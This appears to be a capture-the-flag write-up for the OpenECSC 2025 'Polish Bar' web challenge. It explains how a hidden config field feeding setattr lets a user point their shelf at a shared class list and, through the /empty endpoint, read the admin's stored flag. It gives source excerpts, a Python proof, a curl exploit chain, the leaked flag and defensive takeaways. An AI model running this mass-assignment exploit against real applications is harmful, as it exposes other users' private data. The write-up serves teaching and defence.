pwneglyph logo
web python fastapi jinja2 object-reference-confusion class-attribute shared-state getattr setattr mass-assignment hidden-field business-logic information-disclosure flag-leak

A hidden /config form lets you copy a resolved attribute into an attacker-chosen config key. Point your alcohol_shelf at the shared _all_instances class list, call /empty so it dereferences element 0, and your config starts resolving preferred_beverage through the admin object that stores the flag.

Polish Bar - shared class-attribute object confusion to admin config leak

CTF: OpenECSC 2025 | Category: Web | Stack: Python / FastAPI, Jinja2

Challenge overview

The app is a small FastAPI profile page for drink preferences. A global sessions dict is initialized with an admin session before any user registers:

def admin_session_setup():
    session_id = str(uuid.uuid4())
    sessions[session_id] = {
        'username': 'admin',
        'password': str(os.urandom(10).hex()),
        'config': BeverageConfig(os.getenv('FLAG', 'openECSC{TEST_FLAG}'))
    }

admin_session_setup()

The flag is not in a file and there is no RCE target. It is stored as the admin's preferred_beverage, so the goal is to make our profile render the admin config.

New users get their own BeverageConfig(None):

sessions[new_session_id] = {
    'username': username,
    'password': password,
    'config': BeverageConfig(None)
}

The dangerous config update primitive

The visible form only lets users change preferred_beverage, but the config field is just hidden HTML:

<form action="/config" method="post">
    <input type="hidden" name="config" value="preferred_beverage">
    <input type="text" name="value">
</form>

The endpoint trusts both fields:

@app.post("/config")
async def update_config(request: Request, config: str = Form(...), value: str = Form(...)):
    session_id = request.cookies.get('session')
    if session_id in sessions:
        err = sessions[session_id]['config'].update_property(config, value)

update_property does not assign the submitted string directly. It first resolves value as an existing property, then writes the resolved object into an attacker-chosen attribute name:

def get_property(self, val):
    try:
        if hasattr(self.alcohol_shelf, val):
            return getattr(self.alcohol_shelf, val)

        return getattr(self, val)
    except:
        return

def update_property(self, key: str, val: str):
    attr = self.get_property(val)

    if attr:
        setattr(self, key, attr)
        return

    return { 'error': 'property doesn\'t exist!' }

So the primitive is:

self.<config> = self.get_property(<value>)

with both <config> and <value> controlled.

The shared _all_instances list

The class hierarchy is the confusing part:

class AlcoholShelf:
    def __init__(self):
        self._alcohol_shelf = ['vodka', 'schnapps', ...]
        for beverage in self._alcohol_shelf:
            setattr(self, beverage, str(beverage))

class PreferenceConfig(AlcoholShelf):
    _all_instances = []

    def __init__(self, preferred_beverage: str):
        super().__init__()
        self.preferred_beverage = preferred_beverage
        self.alcohol_shelf = AlcoholShelf()
        self.blood_alcohol_level = 1.0
        BeverageConfig._all_instances.append(self)

class BeverageConfig(PreferenceConfig):
    pass

_all_instances is a class attribute, so it is shared by every BeverageConfig instance. The admin is created first, then our registered account is appended after it:

BeverageConfig._all_instances = [admin_config, our_config, ...]

Because get_property() falls back to getattr(self, val), the string _all_instances resolves to that shared list.

Step 1 - point our shelf at all instances

Override the hidden config field and ask the app to copy _all_instances into our alcohol_shelf:

POST /config
Content-Type: application/x-www-form-urlencoded

config=alcohol_shelf&value=_all_instances

This runs:

self.alcohol_shelf = self.get_property('_all_instances')
# self.alcohol_shelf = [admin_config, our_config, ...]

At this point the profile is not useful yet. Our alcohol_shelf is only a list of objects.

Step 2 - /empty dereferences the list into the admin object

The /empty endpoint calls empty_alcohol_shelf():

def empty_alcohol_shelf(self):
    if hasattr(self.alcohol_shelf, "_alcohol_shelf"):
        self.alcohol_shelf._alcohol_shelf = [self.alcohol_shelf._alcohol_shelf[0]]
    else:
        self.alcohol_shelf = self.alcohol_shelf[0]

Normally self.alcohol_shelf is an AlcoholShelf, so the if branch keeps only one drink. After step 1, it is a Python list, so it has no _alcohol_shelf attribute and the else branch executes:

self.alcohol_shelf = self.alcohol_shelf[0]
# self.alcohol_shelf = admin_config

The first element is the admin config because admin_session_setup() ran before registration.

Step 3 - profile rendering leaks preferred_beverage

The profile renders config.get_config():

def get_config(self):
    return {
        'preferred_beverage': self.get_property('preferred_beverage'),
        'alcohol_shelf': self.get_beverages()
    }

Now get_property('preferred_beverage') checks hasattr(self.alcohol_shelf, 'preferred_beverage') first. Since self.alcohol_shelf is the admin's BeverageConfig, that lookup succeeds and returns the admin's preferred beverage: the flag.

Local proof with the challenge classes:

from config import BeverageConfig

admin = BeverageConfig('FLAG')
user = BeverageConfig(None)

user.update_property('alcohol_shelf', '_all_instances')
user.empty_alcohol_shelf()

print(user.get_config()['preferred_beverage'])
# FLAG

Exploit

Full request flow:

URL=http://target

# 1) Register and keep the session cookie.
curl -s -i -c cookies.txt \
  -d 'username=cnf&password=cnf' \
  "$URL/register" >/dev/null

# 2) Replace our alcohol_shelf with the shared class list [admin, us, ...].
curl -s -b cookies.txt -c cookies.txt \
  -d 'config=alcohol_shelf&value=_all_instances' \
  "$URL/config" >/dev/null

# 3) Force empty_alcohol_shelf() into the list branch: shelf = shelf[0].
curl -s -b cookies.txt -c cookies.txt \
  -X POST "$URL/empty" >/dev/null

# 4) The profile now renders admin.preferred_beverage as our preferred beverage.
curl -s -b cookies.txt "$URL/profile"

The leaked flag from the notes:

openECSC{gggrrrrrrr_ppyytthhonnn_a24f8dab2ff1}

Pitfalls

  • There is no SSTI needed here. Jinja only renders the already-computed config values.
  • Submitting a raw flag-like value to /config fails because value must resolve through get_property(); it is not assigned directly.
  • Stopping after config=alcohol_shelf&value=_all_instances only gives a list of config objects. The /empty call is what turns that list into admin_config via self.alcohol_shelf[0].
  • The order of _all_instances matters. The exploit works because the admin config is created at module import before user registration.

Takeaways (generalized technique)

  • Hidden fields are not authorization. If a hidden field controls an attribute name, treat it as full user input.
  • setattr(self, user_key, resolved_value) is a mass-assignment sink even when resolved_value is not directly user-controlled.
  • Python class attributes holding mutable objects are shared state. If instances append themselves into a shared list, any path that exposes that list can become an object-reference leak.
  • Type-dependent branches (if hasattr(obj, ...): ... else: obj = obj[0]) become dangerous when another endpoint can replace obj with a different type.

Sources & references

  • Challenge notes: /home/conflict/ctfs/openecsc2025/web/polish-bar/notes
  • Challenge source: /home/conflict/ctfs/openecsc2025/web/polish-bar/app.py, config.py